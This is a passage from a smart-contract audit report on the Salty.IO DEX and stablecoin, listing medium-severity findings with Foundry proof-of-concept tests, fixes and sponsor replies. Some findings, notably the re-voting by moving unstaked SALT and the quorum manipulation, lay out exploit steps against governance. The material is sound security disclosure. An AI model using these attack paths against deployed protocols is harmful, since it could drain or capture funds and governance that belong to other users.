Picodes (Judge) decreased severity to Medium and commented:
Medium severity seems appropriate here under “function of the protocol or its availability could be impacted”.
othernet-global (Salty.IO) commented:
There is now no limit to the number of tokens that can be proposed for whitelisting.
Also, any whitelisting proposal that has reached quorum with sufficient approval votes can be executed.
https://github.com/othernet-global/salty-io/commit/ccf4368fcf1777894417fccd2771456f3eeaa81c
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and [t0x1c].
[M-04] If there is only one USDS borrower, he can never be liquidated
Submitted by J4X, also found by 0xHelium, Toshii, 0xpiken, 0xCiphky, israeladelaja, aman (1, 2), b0g0, 0xRobocop, djxploit, ayden, and 0xWaitress
The Salty protocol offers the USDS stablecoin, collateralized by WETH/WBTC. Users can deposit collateral and borrow USDS against it. A key safeguard mechanism is liquidation, which is activated when the collateral value drops below a certain threshold (typically 110%). However, a significant flaw exists in the liquidation process, particularly when there is only one user borrowing USDS.
The process to liquidate a user involves calling the liquidateUser()
function, which in turn calls pools.removeLiquidity()
to withdraw the user’s collateral. However, the pools.removeLiquidity()
function checks if the remaining reserves after withdrawal are below the DUST threshold and reverts if they are.
require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
This check creates a situation where, if all the collateral for USDS is held by a single user, it becomes impossible to liquidate this user. Any attempt to liquidate would reduce the reserves below DUST, causing the transaction to revert
Impact
This flaw means the only holder of USDS can evade liquidation, potentially leading to bad debt in the protocol that cannot be recouped or mitigated.
Proof of Concept
The scenario can be demonstrated as follows:
- Alice is the sole depositor of collateral and borrows the maximum allowable USDS.
- Another user, Bob, attempts to liquidate Alice when her collateral value crashes.
- However, the liquidation process reverts because removing Alice’s collateral would reduce the reserves below the DUST threshold.
function testLiquidateOnlyHolder() public {
//------------------------- SETUP --------------------------------------------------
// Total needs to be worth at least $2500
uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();
(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
//------------------------ TEST---------------------------------------------------------
// Alice deposits collateral
vm.startPrank(alice);
collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC * 2, depositedWETH * 2, 0, block.timestamp, false );
vm.stopPrank();
//Alcie borrows the USDS
vm.startPrank(alice);
vm.warp( block.timestamp + 1 hours);
uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
collateralAndLiquidity.borrowUSDS( maxUSDS );
vm.stopPrank();
// Try and fail to liquidate alice
vm.expectRevert( "User cannot be liquidated" );
vm.prank(bob);
collateralAndLiquidity.liquidateUser(alice);
// Artificially crash the collateral price
_crashCollateralPrice();
// Bob tries liquidating Alice's position but it reverts due to the reserves falling below dust if she gets liquidated
vm.prank(bob);
vm.expectRevert();
collateralAndLiquidity.liquidateUser(alice);
}
The test must be added to /stable/tests/CollateralAndLiquidity.t.sol
and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testLiquidateOnlyHolder"
.
Recommended Mitigation Steps
To resolve this issue, the logic in pools.removeLiquidity()
needs to be adjusted. The function should allow the withdrawal of the last collateral, even if it reduces the reserves to zero. This adjustment can be implemented with a conditional check that permits reserves to be either above DUST or exactly zero:
require(((reserves.reserve0 >= PoolUtils.DUST && reserves.reserve0 >= PoolUtils.DUST) || (reserves.reserve0 == 0 && reserves.reserve0 == 0)), "Insufficient reserves after liquidity removal");
With this change, the protocol will maintain its ability to liquidate the sole holder of USDS, ensuring the safeguard against bad debt remains effective.
othernet-global (Salty.IO) acknowledged and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from zzebra83, and t0x1c.
[M-05] Absence of autonomous mechanism for selling collateral assets in the external market in exchange for USDS
will cause undercollateralization during market crashes and will cause USDS to depeg
Submitted by 0xGreyWolf, also found by Toshii, 0x3b, BiasedMerc, and klau5
- The stablecoin USDS retains its US dollar peg by being overcollateralized. That is true on a bull market. That is also true on a bear market if the liquidation process is faster than the falling prices of the collateral assets.
- However during a bear market, there is a scenario where the the price of collateral assets may tank faster than the liquidation process. In this scenario, the total value of the collateral assets of the protocol may end up being lower than the minted / circulating USDS. This will cause undercollateralization and will cause the USDS to depeg.
- The depegging will cause the holders of USDS to lose financially. It may cause panic and that will be an existential threat to the protocol.
Recommended Mitigation Steps
- Create a function to
sell assets and acquire USDS on external market
and just likeliquidateUser()
andperformUpkeep()
, reward the users for doing it (calling the function). - If USDS is not available, buy stablecoins USDC and store it for a while to serve as an emergency collateral backing until the market goes back to normal.
othernet-global (Salty.IO) acknowledged and commented:
Note: the overcollateralized stablecoin mechanism has been removed from the DEX.
https://github.com/othernet-global/salty-io/commit/f3ff64a21449feb60a60c0d60721cfe2c24151c1
Note: the overcollateralized stablecoin mechanism has been removed from the DEX.
https://github.com/othernet-global/salty-io/commit/f3ff64a21449feb60a60c0d60721cfe2c24151c1
Picodes (Judge) decreased severity to Medium and commented:
Regrouping as duplicates of this issue reports about the fact that the swaps are not atomic so the protocol holds a temporary change risk.
othernet-global (Salty.IO) commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and [t0x1c].
[M-06] Reusing a SALT that has already been used for voting can allow a malicious proposal to pass and compromise the protocol
Submitted by PENGUN, also found by dutra, vnavascues, falconhoof, grearlake, ReadyPlayer2, Draiakoo, peanuts, zhaojie, Matue, cu5t0mpeo, piyushshukla, 0xanmol, zhanmingjing, and J4X
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385-L400
Reuse of SALT that has already been used for voting could allow a malicious proposal to pass and compromise the protocol.
Details
castVote is a function that votes as much SALT as is being staked on the proposal.
function castVote( uint256 ballotID, Vote vote ) external nonReentrant
{
Ballot memory ballot = ballots[ballotID];
...
uint256 userVotingPower = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
require( userVotingPower > 0, "Staked SALT required to vote" );
// Remove any previous votes made by the user on the ballot
UserVote memory lastVote = _lastUserVoteForBallot[ballotID][msg.sender];
// Undo the last vote?
@> if ( lastVote.votingPower > 0 )
@> _votesCastForBallot[ballotID][lastVote.vote] -= lastVote.votingPower;
// Update the votes cast for the ballot with the user's current voting power
_votesCastForBallot[ballotID][vote] += userVotingPower;
// Remember how the user voted in case they change their vote later
_lastUserVoteForBallot[ballotID][msg.sender] = UserVote( vote, userVotingPower );
emit VoteCast(msg.sender, ballotID, vote, userVotingPower);
}
Calling it again on a proposal that has already been voted on will revert the existing vote.
Therefore, the same account cannot vote multiple times on the same proposal. However, it is possible to re-vote by unstaking SALT and transferring it to another account.
// Checks that ballot is live, and minimumEndTime and quorum have both been reached.
function canFinalizeBallot( uint256 ballotID ) external view returns (bool)
{
Ballot memory ballot = ballots[ballotID];
if ( ! ballot.ballotIsLive )
return false;
// Check that the minimum duration has passed
@> if (block.timestamp < ballot.ballotMinimumEndTime )
return false;
// Check that the required quorum has been reached
if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
return false;
return true;
}
The reason this is a viable attack is because the conditions under which a proposal can be finalized are unusual.
In a typical voting system, there is a period of time during which a proposal can be voted on, and if it does not meet the quorum, it is dropped, and if it does, the ratio of upvotes to downvotes determines whether it should be executed.
However, Salty’s voting system allows the voting period to be infinitely long if the quorum is not met. In other words, if the voting lasts longer than the period required to unstake SALT, it can be unstaked and transferred to another account to vote again.
Salty will be launched on the Ethereum mainnet, which means that voting will be quite expensive. With no delegates, the current specification requires many individual votes to achieve a quorum. This means that users may not actively vote for outrageous votes, which could lead to a longer proposal voting period.
The scenario for the attack is as follows
- Staking SALT
- Create a malicious proposal
- Vote YES
- Unstake SALT
- Wait for unstake and recover
- Send SALT to other account
- Staking SALT
- Vote YES
Proof of Concept
function testChangeVotesAfterUnstakingSALTAndTransferPOC() public {
vm.startPrank(alice);
address randomAddress = address(0x543210);
// STEP 1: Staking SALT
staking.stakeSALT(100000 ether);
// STEP 2: Create a malicious proposal
uint256 ballotID = proposals.proposeCallContract(randomAddress, 1000, "Malicious call" );
// STEP 3: Vote YES
proposals.castVote(ballotID, Vote.YES);
// STEP 4: Unstake SALT
uint256 id = staking.unstake(100000 ether, 2 );
// STEP 5: Wait for unstake and recover
vm.warp(block.timestamp + 100 weeks);
staking.recoverSALT(id);
// STEP 6: Send SALT to other account
salt.transfer(bob, 100000 ether);
vm.stopPrank();
// STEP 7: Staking SALT
vm.startPrank(bob);
// STEP 8: Vote YES
staking.stakeSALT(100000 ether);
proposals.castVote(ballotID, Vote.YES); // result: 200000
console.log(proposals.votesCastForBallot(ballotID, Vote.YES));
}
Recommended Mitigation Steps
A short-term solution is to use ballotMaximumEndTime to prevent votes from lasting too long.
A more fundamental solution would be to take a snapshot of the staked SALT and make it available for voting, like ERC20Votes, to prevent re-voting after a transfer.
othernet-global (Salty.IO) confirmed and commented:
ballotMaximumDuration added. There is now a default 30 day period after which ballots can be removed by any user.
https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0
Status: Mitigation confirmed. Full details in report from zzebra83.
[M-07] Impossible to change managed wallets with proposeWallets
after first rejection
Submitted by Aymen0909, also found by juancito (1, 2), J4X, jasonxiale, niroh, neocrao, pina, erosjohn, 0xpiken, lilizhu, oakcobalt, n0kto, ZanyBonzy, pkqs90, Drynooo, zxriptor, Ephraim, LeoGold, 0xRobocop, 0xOmer, klau5, jesjupyter, and Beepidibop
https://github.com/code-423n4/2024-01-salty/blob/main/src/ManagedWallet.sol#L67-L69
https://github.com/code-423n4/2024-01-salty/blob/main/src/ManagedWallet.sol#L48-L49
The receive
function in ManagedWallet
fails to reset the proposedMainWallet
address to the zero address (address(0)
) when the confirmation wallet rejects the wallet change:
receive() external payable {
require(msg.sender == confirmationWallet, "Invalid sender");
// Confirm if .05 or more ether is sent and otherwise reject.
// Done this way in case custodial wallets are used as the confirmationWallet - which sometimes won't allow for smart contract calls.
if (msg.value >= .05 ether)
activeTimelock = block.timestamp + TIMELOCK_DURATION; // establish the timelock
else activeTimelock = type(uint256).max; // effectively never
//@audit doesn't reset proposedMainWallet to address(0)
}
This omission renders it impossible to submit new proposals for changing wallets in the future. After the confirmation wallet rejects for the first time, the proposedMainWallet
remains different from address(0)
, causing the proposeWallets
function to revert due to the check on the proposedMainWallet
address:
function proposeWallets(
address _proposedMainWallet,
address _proposedConfirmationWallet
) external {
...
//@audit revert if proposedMainWallet != address(0)
// Make sure we're not overwriting a previous proposal (as only the confirmationWallet can reject proposals)
require(
proposedMainWallet == address(0),
"Cannot overwrite non-zero proposed mainWallet."
);
proposedMainWallet = _proposedMainWallet;
proposedConfirmationWallet = _proposedConfirmationWallet;
emit WalletProposal(proposedMainWallet, proposedConfirmationWallet);
}
Impact
After the first rejection of wallet changes, the proposeWallets
function will consistently revert, making it impossible to change the main and confirmation wallets indefinitely.
Proof of Concept
The scenario for this issue to occurs is straightforward :
mainWallet
make a request toproposeWallets
to change the main and confirmation wallets which setsproposedMainWallet != address(0)
.confirmationWallet
doesn’t like the change so he callsreceive
function with insufficient amount of ETH to refuse the change. Afterreceive
call,activeTimelock
is set touint256.max
butproposedMainWallet
is still different fromaddress(0)
.mainWallet
tries to callproposeWallets
again by it will always revert becauseproposedMainWallet != address(0)
.- Both main and confirmation wallets can never be changed again.
Tools Used
VS Code
Recommended Mitigation
In the receive
function, reset the proposedMainWallet
variable to address(0)
after the confirmation process has been rejected (similar to the reset done in changeWallets()
).
if (msg.value >= .05 ether)
activeTimelock = block.timestamp + TIMELOCK_DURATION; // establish the timelock
else {
//@audit Reset
activeTimelock = type(uint256).max;
proposedMainWallet = address(0);
proposedConfirmationWallet = address(0);
}
othernet-global (Salty.IO) confirmed and commented:
ManagedWallet has been removed.
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5
Picodes (Judge) decreased severity to Medium
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and [zzebra83].
[M-08] PriceFeed is likely to be disabled in times of volatility, causing liquidations and borrows to freeze
Submitted by niroh, also found by oakcobalt
- The price feed aggregator relies on three feeds (Chainlink feeds, Uniswap 30 minute TWAP and Salty spot price) to report pricing. The aggregation logic is to average the closest two feed prices, and if the price difference between them exceeds maximumPriceFeedPercentDifferenceTimes1000 (default value: 3%), the aggregator reverts. Since liquidation and borrowing operations rely on price feed reporting, these will revert as well when the minimum price disparity between the three oracles exceeds maximumPriceFeedPercentDifferenceTimes1000.
- In times of price volatility for the reported pairs (ETH/USD, BTC/USD) the three oracles used are likely to diverge by more than the 3% limit. To understand why, consider the following traits of each of the three feed sources:
- Uniswap 30 minutes TWAP reports the time weighed average over the last 30 minutes.
- Chainlink uses multiple sources (onchain Dexes, Cexes) and reports immediately on price changes larger than 0.5% (the Chainlink update trigger setting for the two feeds used.)
- Salty reports the immediate price taken from the relevant pools on Salty at the time (block) of price aggragation.
- When volatility is high, the 30 minutes TWAP is likely to diverge from spot oracles such as Chainlink feeds and Salty’s pools. If for example the market price shifts drastically within 5 minutes, Uniswap’s TWAP will only weigh the change at 20% and the previous price at 80%, while Chainlink and Salty will report the most recent price. In such conditions, a 3% price difference is likely to happen.
- Since Salty’s liquidity is likely to be much smaller than the Uniswap pools used (Weth/Wbtc and Weth/Usdc) its reported price is likely to diverge from Uniswap’s price, especially when sharp price shifts occur. This is because large pools such as Uniswaps are likely to be arbitraged sooner (to match centralized exchanges where price discovery typically happens) and smaller pools take longer to catch up to the new price.
- The result is that is times of high volatility, Salty’s price feed is likely to enter a state of >3% disparity between the feeds, effetively blocking liquidations at the time they are most crucial.
- The maximumPriceFeedPercentDifferenceTimes1000 parameter can be extended up to 7% through a DAO vote, but given that every 0.5% increase requires a vote duration of 10 days at least, the DAO is not likely to react it time to adjust for market volatility.
Tools Used
Foundry
Recommended Mitigation Steps
The common behavior for DeFi price feed aggregators is to fallback to the most trustworthy oracle rather than abort. Typically, Chainlink is selected as the preferred fallback due to the diversity of its sources and reputation of stability. It is recommended to follow this principle and fallback to Chainlink’s price instead of reverting when prices diverge by more than the max.
othernet-global (Salty.IO) acknowledged and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[M-09] Remove Liquidity has missing reserve1 DUST check, which can make reserve1 to be less than DUST
Submitted by neocrao, also found by jasonxiale, J4X, 0x11singh99, okolicodes, HALITUS, memforvik, Kalyan-Singh, The-Seraphs, wangxx2026, zhaojohnson, 00xSEV, juancito, cu5t0mpeo, parrotAudits0, AgileJune, agadzhalov, aman, Drynooo, ewah, RootKit0xCE, MSaptarshi, Imp, 0xRobocop, 0xAlix2, erosjohn, jesjupyter, 0x3b, rudolph, 0xanmol, ayden, KHOROAMU, 0xSmartContractSamurai, t0x1c, and klau5
The function Pools::removeLiquidity()
checks that the reserve0
and reserve1
amounts for a pool are always above or at DUST amount. If after the liquidity is removed, and the reserve0
or reserve1
goes below DUST level, then the transaction should revert.
But, this check is implemented incorrectly. The code that performs this check is as below in the code:
require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
If you notice, the reserve0
is checked twice, instead of the checks being for each reserve0
and reserve1
.
Impact
The documentation states the following reason for the DUST check:
// Make sure that removing liquidity doesn't drive either of the reserves below DUST.
// This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
So, if the reserve1
goes below the DUST amount, then it can imbalance the ratios. Also, once a pool has been established with the reserves, functions like and related to swap()
rely on the amounts to be above the DUST amounts. If either of the reserves go below the DUST levels, then these functions will start to revert.
Proof of concept
Use the below test in the file: src/pools/tests/Pools.t.sol
function testNeoCraoReserve1LessThanDust() public {
// Setup Tokens
TestERC20[] memory testTokens = new TestERC20[](2);
vm.startPrank(DEPLOYER);
for (uint256 i = 0; i < 2; i++) {
testTokens[i] = new TestERC20("TEST", 18);
}
(, bool flipped) = PoolUtils._poolIDAndFlipped(testTokens[0], testTokens[1]);
if (flipped) {
(testTokens[1], testTokens[0]) = (testTokens[0], testTokens[1]);
}
for (uint256 i = 0; i < 2; i++) {
testTokens[i].approve(address(pools), type(uint256).max);
testTokens[i].approve(
address(collateralAndLiquidity),
type(uint256).max
);
testTokens[i].transfer(address(this), 100000 ether);
testTokens[i].transfer(address(dao), 100000 ether);
testTokens[i].transfer(address(collateralAndLiquidity), 100000 ether);
}
vm.stopPrank();
vm.prank(address(dao));
poolsConfig.whitelistPool(pools, testTokens[0], testTokens[1]);
vm.prank(DEPLOYER);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
testTokens[0],
testTokens[1],
500 ether,
100 ether,
0,
block.timestamp,
false
);
for (uint256 i = 0; i < 2; i++) {
testTokens[i].approve(address(pools), type(uint256).max);
testTokens[i].approve(
address(collateralAndLiquidity),
type(uint256).max
);
}
vm.startPrank(address(collateralAndLiquidity));
testTokens[0].approve(address(pools), type(uint256).max);
testTokens[1].approve(address(pools), type(uint256).max);
// POC
vm.startPrank(address(collateralAndLiquidity));
uint256 totalShares = collateralAndLiquidity.totalShares(
PoolUtils._poolID(testTokens[0], testTokens[1])
);
pools.removeLiquidity(
testTokens[0],
testTokens[1],
599999999999999999406,
1 ether,
1 ether,
totalShares
);
(, uint256 reserves1Final) = pools.getPoolReserves(
testTokens[0],
testTokens[1]
);
assertLt(reserves1Final, PoolUtils.DUST);
}
Severity Justification
This is Medium severity, based on the Code4rena Severity Categorization: https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
Recommended Mitigation Steps
The check should be updated to check for reserve1
as well.
- require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
+ require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
Note: this is a typo following a fix of the Trail Of Bits audit. It has a large number of duplicates, with the main impact being DoS of the swaps and related functionalities and manipulating the initial ratio. I haven’t found a report proving that manipulating the initial ratio is of high severity except these 2 that copy-pasted ToB’s report: https://github.com/code-423n4/2024-01-salty-findings/issues/197 and https://github.com/code-423n4/2024-01-salty-findings/issues/592.
othernet-global (Salty.IO) confirmed and commented:
Fixes reserves DUST check: https://github.com/othernet-global/salty-io/commit/b01f6e5cb360e89f9e4cdae41d609ea747bcaa86
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and zzebra83.
[M-10] Unwhitelisting does not clear _arbitrageProfits, so re-whitelisting may result in an unfair distribution of liquidity rewards
Submitted by klau5, also found by falconhoof, Toshii, jasonxiale, 0xCiphky, 0xbepresent (1, 2), jesjupyter, KingNFT, pkqs90, Topmark, 0xAsen, and nonseodion
When a pool that has been excluded from the whitelist is added again, it can receive liquidity rewards based on the previous _arbitrageProfits
.
Proof of Concept
When unwhitelisting, _arbitrageProfits
is not cleared. When added to the whitelist again, rewards can be distributed unfairly due to the remaining _arbitrageProfits
.
Let’s assume there are A/WETH, A/WBTC, B/WETH, B/WBTC, WETH/WBTC pools. A swap occurred in each of the A/WETH, B/WETH pools, generating 1 ether of arbitrage profit. If the liquidity rewards are settled at this time, each pool can receive liquidity rewards at a ratio of A/WETH: A/WBTC: B/WETH: B/WBTC: WETH/WBTC = 1: 1: 1: 1: 2. This is because they can take as much as the proportion of profits generated in each pool.
function _calculateArbitrageProfits( bytes32[] memory poolIDs, uint256[] memory _calculatedProfits ) internal view
{
for( uint256 i = 0; i < poolIDs.length; i++ )
{
// references poolID(arbToken2, arbToken3) which defines the arbitage path of WETH->arbToken2->arbToken3->WETH
bytes32 poolID = poolIDs[i];
// Split the arbitrage profit between all the pools that contributed to generating the arbitrage for the referenced pool.
@> uint256 arbitrageProfit = _arbitrageProfits[poolID] / 3;
if ( arbitrageProfit > 0 )
{
ArbitrageIndicies memory indicies = _arbitrageIndicies[poolID];
if ( indicies.index1 != INVALID_POOL_ID )
_calculatedProfits[indicies.index1] += arbitrageProfit;
if ( indicies.index2 != INVALID_POOL_ID )
_calculatedProfits[indicies.index2] += arbitrageProfit;
if ( indicies.index3 != INVALID_POOL_ID )
_calculatedProfits[indicies.index3] += arbitrageProfit;
}
}
}
function profitsForWhitelistedPools() external view returns (uint256[] memory _calculatedProfits)
{
@> bytes32[] memory poolIDs = poolsConfig.whitelistedPools();
_calculatedProfits = new uint256[](poolIDs.length);
@> _calculateArbitrageProfits( poolIDs, _calculatedProfits );
}
Suppose you unwhitelist B tokens without settling rewards. The B/WETH and B/WBTC pools will be unwhitelisted. Since they are not included in the whitelist, they cannot be involved in reward settlements, so even if the someone calls performUpkeep
, their _arbitrageProfits
remain the same.
function clearProfitsForPools() external
{
require(msg.sender == address(exchangeConfig.upkeep()), "PoolStats.clearProfitsForPools is only callable from the Upkeep contract" );
@> bytes32[] memory poolIDs = poolsConfig.whitelistedPools();
for( uint256 i = 0; i < poolIDs.length; i++ )
_arbitrageProfits[ poolIDs[i] ] = 0;
}
Time has passed and B token is added to the whitelist again, so that the B/WETH, B/WBTC pools are registered on the whitelist. Since the past _arbitrageProfits
were not cleared, 1 ether remains in B/WETH pool’s _arbitrageProfits
. The rewards for the other pools have already been settled and _arbitrageProfits
has been reset.
After that, the A/WBTC pool makes new arbitrage profit of 0.1 ether. If the reward is settled in this state, they will receive rewards at a ratio of A/WETH: A/WBTC: B/WETH: B/WBTC: WETH/WBTC = 1: 1: 10: 10: 11.
This is the PoC. You can add it to the DAO.t.sol file and test it.
function testPoCArbitrageProfitsNotCleared() public
{
vm.prank(DEPLOYER);
salt.approve(address(liquidityRewardsEmitter), type(uint256).max);
IERC20 token1 = new TestERC20("TEST", 18);
IERC20 token2 = new TestERC20("TEST", 18);
token1.transfer(DEPLOYER, 1000000 ether);
token2.transfer(DEPLOYER, 1000000 ether);
token1.transfer(alice, 1000000 ether);
token2.transfer(alice, 1000000 ether);
token1.transfer(bob, 1000000 ether);
token2.transfer(bob, 1000000 ether);
// --- add whitelist ---
vm.startPrank(alice);
staking.stakeSALT( 1000000 ether );
salt.transfer( address(dao), 2000000 ether );
uint256 ballotId = proposals.proposeTokenWhitelisting( token1, "", "" );
_voteForAndFinalizeBallot(ballotId, Vote.YES);
ballotId = proposals.proposeTokenWhitelisting( token2, "", "" );
_voteForAndFinalizeBallot(ballotId, Vote.YES);
vm.stopPrank();
// --- Add liquidity ---
vm.startPrank(DEPLOYER);
token1.approve(address(collateralAndLiquidity), type(uint256).max);
token2.approve(address(collateralAndLiquidity), type(uint256).max);
weth.approve(address(collateralAndLiquidity), type(uint256).max);
wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
// Adds token1/WETH, token1/WBTC liquidity
collateralAndLiquidity.depositLiquidityAndIncreaseShare(token1, weth, 1000 ether, 10 ether, 0, block.timestamp, false);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(token1, wbtc, 1000 ether, 10 * 10**8, 0, block.timestamp, false);
// Adds token2/WETH, token2/WBTC liquidity
collateralAndLiquidity.depositLiquidityAndIncreaseShare(token2, weth, 1000 ether, 10 ether, 0, block.timestamp, false);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(token2, wbtc, 1000 ether, 10 * 10**8, 0, block.timestamp, false);
// Adds WETH/WBTC liquidity
collateralAndLiquidity.depositCollateralAndIncreaseShare(1000 * 10**8, 1000 ether, 0, block.timestamp, false);
vm.stopPrank();
// --- arbitrage profit ---
vm.startPrank(bob);
token1.approve(address(pools), type(uint256).max);
token2.approve(address(pools), type(uint256).max);
pools.depositSwapWithdraw(token1, wbtc, 1 ether, 0, block.timestamp);
pools.depositSwapWithdraw(token2, wbtc, 1 ether, 0, block.timestamp);
vm.stopPrank();
uint256 token2_wbtc_index;
uint256 token2_weth_index;
bytes32[] memory poolIDs = poolsConfig.whitelistedPools();
for(uint256 i = 0; i < poolIDs.length; i ++){
if(poolIDs[i] == PoolUtils._poolID(token2, wbtc)){
token2_wbtc_index = i;
continue;
}
if(poolIDs[i] == PoolUtils._poolID(token2, weth)){
token2_weth_index = i;
continue;
}
}
assertTrue(token2_wbtc_index != 0 && token2_weth_index != 0, "wrong index");
uint256[] memory old_profits = pools.profitsForWhitelistedPools();
// --- unwhitelist pool ---
vm.startPrank(alice);
ballotId = proposals.proposeTokenUnwhitelisting( token2, "", "" );
_voteForAndFinalizeBallot(ballotId, Vote.YES);
vm.stopPrank();
// Check for the effects of the vote
assertFalse( poolsConfig.tokenHasBeenWhitelisted(token2, wbtc, weth), "Token should not be whitelisted" );
// user calls upkeep, the old reward cleared (but token2's reward is not cleared)
vm.prank(address(upkeep));
pools.clearProfitsForPools();
// --- re-whitelist ---
vm.startPrank(alice);
ballotId = proposals.proposeTokenWhitelisting( token2, "", "" );
_voteForAndFinalizeBallot(ballotId, Vote.YES);
vm.stopPrank();
poolIDs = poolsConfig.whitelistedPools();
uint256 new_token2_wbtc_index;
uint256 new_token2_weth_index;
for(uint256 i = 0; i < poolIDs.length; i ++){
if(poolIDs[i] == PoolUtils._poolID(token2, wbtc)){
new_token2_wbtc_index = i;
continue;
}
if(poolIDs[i] == PoolUtils._poolID(token2, weth)){
new_token2_weth_index = i;
continue;
}
}
assertTrue(new_token2_wbtc_index != 0 && new_token2_weth_index != 0, "wrong index");
// --- old and new reward for token2 pool are same ---
uint256[] memory new_profits = pools.profitsForWhitelistedPools();
assertEq(old_profits[token2_wbtc_index], new_profits[new_token2_wbtc_index], "old _arbitrageProfits remain");
assertEq(old_profits[token2_weth_index], new_profits[new_token2_weth_index], "old _arbitrageProfits remain");
}
Recommended Mitigation Steps
Before finalizing the unwhitelist ballot, user should call performUpkeep
first to force the rewards to be settled. Check if _arbitrageProfits
is cleared.
function _executeApproval( Ballot memory ballot ) internal
{
if ( ballot.ballotType == BallotType.UNWHITELIST_TOKEN )
{
+ require(pools._arbitrageProfits(poolId_wbtc) == 0, "not cleared yet");
+ require(pools._arbitrageProfits(poolId_weth) == 0, "not cleared yet");
// All tokens are paired with both WBTC and WETH so unwhitelist those pools
poolsConfig.unwhitelistPool( pools, IERC20(ballot.address1), exchangeConfig.wbtc() );
poolsConfig.unwhitelistPool( pools, IERC20(ballot.address1), exchangeConfig.weth() );
emit UnwhitelistToken(IERC20(ballot.address1));
}
...
}
othernet-global (Salty.IO) disputed and commented:
It is acceptable that an unwhitelisted pool will retain some rewards after being whitelisted again - as the period in which they were unwhitelisted they did not receive rewards that were owed to them. As the frequency of performUpkeep is sufficiently high, this behavior is acceptable.
[M-11] SALT staker can get extra voting power by simply unstaking their xSALT
Submitted by 0xpiken, also found by Infect3d, Toshii, Aymen0909 (1, 2), jasonxiale, Draiakoo, zhaojie, solmaxis69, t0x1c, 0xRobocop, 0xBinChook, J4X (1, 2), klau5, 0xWaitress, cats, and haxatron
SALT staker might have chance to finalize the vote by manipulating the required quorum.
Proof of Concept
When a proposal is created, anyone can vote by calling Proposals#castVote()
as far as they have voting power.
Anyone can finalize the vote on a specific ballot by calling DAO#finalizeBallot()
as soon as the ballot meet below requirements:
- The ballot is live
ballotMinimumEndTime
(the minimum duration) has passed- The required quorum has been reached
If the total number of votes is less than the required quorum, the ballot can not be finalized:
396: if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
397: return false;
The required quorum varies based on the ballot type and the total staked SALT:
function requiredQuorumForBallotType( BallotType ballotType ) public view returns (uint256 requiredQuorum)
{
// The quorum will be specified as a percentage of the total amount of SALT staked
uint256 totalStaked = staking.totalShares( PoolUtils.STAKED_SALT );
require( totalStaked != 0, "SALT staked cannot be zero to determine quorum" );
if ( ballotType == BallotType.PARAMETER )
requiredQuorum = ( 1 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );
else if ( ( ballotType == BallotType.WHITELIST_TOKEN ) || ( ballotType == BallotType.UNWHITELIST_TOKEN ) )
requiredQuorum = ( 2 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );
else
// All other ballot types require 3x multiple of the baseQuorum
requiredQuorum = ( 3 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );
// Make sure that the requiredQuorum is at least 0.50% of the total SALT supply.
// Circulating supply after the first 45 days of emissions will be about 3 million - so this would require about 16% of the circulating
// SALT to be staked and voting to pass a proposal (including whitelisting) 45 days after deployment..
uint256 totalSupply = ERC20(address(exchangeConfig.salt())).totalSupply();
uint256 minimumQuorum = totalSupply * 5 / 1000;
if ( requiredQuorum < minimumQuorum )
requiredQuorum = minimumQuorum;
}
If a SALT staker unstakes their xSALT, the required quorum will decrease. However, this action does not impact the voting number the staker has casted. A staker might have chance to finalize the ballot in advance by unstaking their xSALT if the total number of votes and required quorum are close enough. Once the ballot is closed, the staker can simply cancel their unstaking without suffering any loss.
